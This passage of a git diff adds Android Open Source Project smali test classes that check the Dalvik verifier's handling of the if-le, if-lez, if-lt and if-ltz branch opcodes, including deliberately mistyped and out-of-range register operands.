+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_le_3.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FI)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali
new file mode 100644
index 0000000..0ad63aa
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_4.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali
new file mode 100644
index 0000000..8caa8dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_5.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-le v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+       
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali
new file mode 100644
index 0000000..7bc5670
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_6.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-le v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali
new file mode 100644
index 0000000..6b489e8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_7.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_7.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-le v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali
new file mode 100644
index 0000000..2c3fed1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_8.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_le_8.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-le v6, v0, :Label11
+       const/16 v6, 1234
+       return v6
+       
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali
new file mode 100644
index 0000000..5e4f615
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_le/d/T_if_le_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_le_9.java"
+.class  public Ldot/junit/opcodes/if_le/d/T_if_le_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-le v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali
new file mode 100644
index 0000000..0914d7d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_1.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali
new file mode 100644
index 0000000..b2797ec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_10.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_10.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali
new file mode 100644
index 0000000..426c58b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_2.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_2.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali
new file mode 100644
index 0000000..be67d4a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_3.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_3.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali
new file mode 100644
index 0000000..012fbb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_4.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-lez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali
new file mode 100644
index 0000000..4672d82
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_5.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-lez v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali
new file mode 100644
index 0000000..121a5da
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_6.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-lez v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali
new file mode 100644
index 0000000..47119c0
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_7.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_lez_7.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-lez v0, :Label9
+       const/16 v0, 1234
+       return v0
+
+:Label9
+       const/4 v0, 1
+       return v0
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali
new file mode 100644
index 0000000..ae564a6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_8.smali

@@ -0,0 +1,23 @@
+.source "T_if_lez_8.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali
new file mode 100644
index 0000000..4582936
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lez/d/T_if_lez_9.smali

@@ -0,0 +1,24 @@
+.source "T_if_lez_9.java"
+.class  public Ldot/junit/opcodes/if_lez/d/T_if_lez_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-lez v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       const v5, 0
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali
new file mode 100644
index 0000000..8d60915
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_icmpge_1.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali
new file mode 100644
index 0000000..07080b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_10.smali

@@ -0,0 +1,24 @@
+.source "T_if_lt_10.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       const v6, 0
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali
new file mode 100644
index 0000000..95349b8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_11.smali

@@ -0,0 +1,23 @@
+.source "T_if_icmpge_11.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_11;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali
new file mode 100644
index 0000000..5722c2a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_12.smali

@@ -0,0 +1,23 @@
+.source "T_if_lt_12.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_12;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali
new file mode 100644
index 0000000..29074f4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_2.smali

@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_if_icmpge_2.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FF)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali
new file mode 100644
index 0000000..d12975f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_icmpge_4.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 8
+
+       if-lt v6, v8, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali
new file mode 100644
index 0000000..79a9924
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_icmpge_5.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(ID)I
+.registers 8
+
+       if-lt v5, v6, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali
new file mode 100644
index 0000000..357ee2c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_icmpge_6.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JI)I
+.registers 8
+
+       if-lt v5, v7, :Label11
+       const/16 v5, 1234
+       return v5
+
+:Label11
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali
new file mode 100644
index 0000000..f8ee690
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_7.smali

@@ -0,0 +1,23 @@
+.source "T_if_icmpge_7.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;I)I
+.registers 8
+
+       if-lt v6, v7, :Label11
+       const/16 v6, 1234
+       return v6
+
+:Label11
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali
new file mode 100644
index 0000000..79c825b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_lt/d/T_if_lt_9.smali

@@ -0,0 +1,23 @@
+.source "T_if_lt_9.java"
+.class  public Ldot/junit/opcodes/if_lt/d/T_if_lt_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)Z
+.registers 8
+
+       if-lt v6, v7, :Label10
+       const/4 v6, 0
+       return v6
+
+:Label10
+       nop
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali
new file mode 100644
index 0000000..f6ed747
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_1.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_1.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali
new file mode 100644
index 0000000..102bfe3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_2.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_2.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali
new file mode 100644
index 0000000..226a6f2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_3.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_3.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 6
+
+       if-ltz v6, :Label9
+       const/16 v6, 1234
+       return v6
+
+:Label9
+       const/4 v6, 1
+       return v6
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali
new file mode 100644
index 0000000..489c738
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_4.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_4.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 6
+
+       if-ltz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali
new file mode 100644
index 0000000..7b95a75
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_5.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_5.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 6
+
+       if-ltz v4, :Label9
+       const/16 v4, 1234
+       return v4
+
+:Label9
+       const/4 v4, 1
+       return v4
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali
new file mode 100644
index 0000000..14e2982
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_6.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_6.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(Ljava/lang/String;)I
+.registers 6
+
+       if-ltz v5, :Label9
+       const/16 v5, 1234
+       return v5
+
+:Label9
+       const/4 v5, 1
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali
new file mode 100644
index 0000000..a847273
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_7.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_7.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali
new file mode 100644
index 0000000..7fef8b1
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/if_ltz/d/T_if_ltz_8.smali

@@ -0,0 +1,23 @@
+.source "T_if_ltz_8.java"
+.class  public Ldot/junit/opcodes/if_ltz/d/T_if_ltz_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)Z
+.registers 6
+
+       if-ltz v5, :Label8
+       const/4 v5, 0
+       return v5
+
+:Label8
+       nop
+       return v5
+.end method

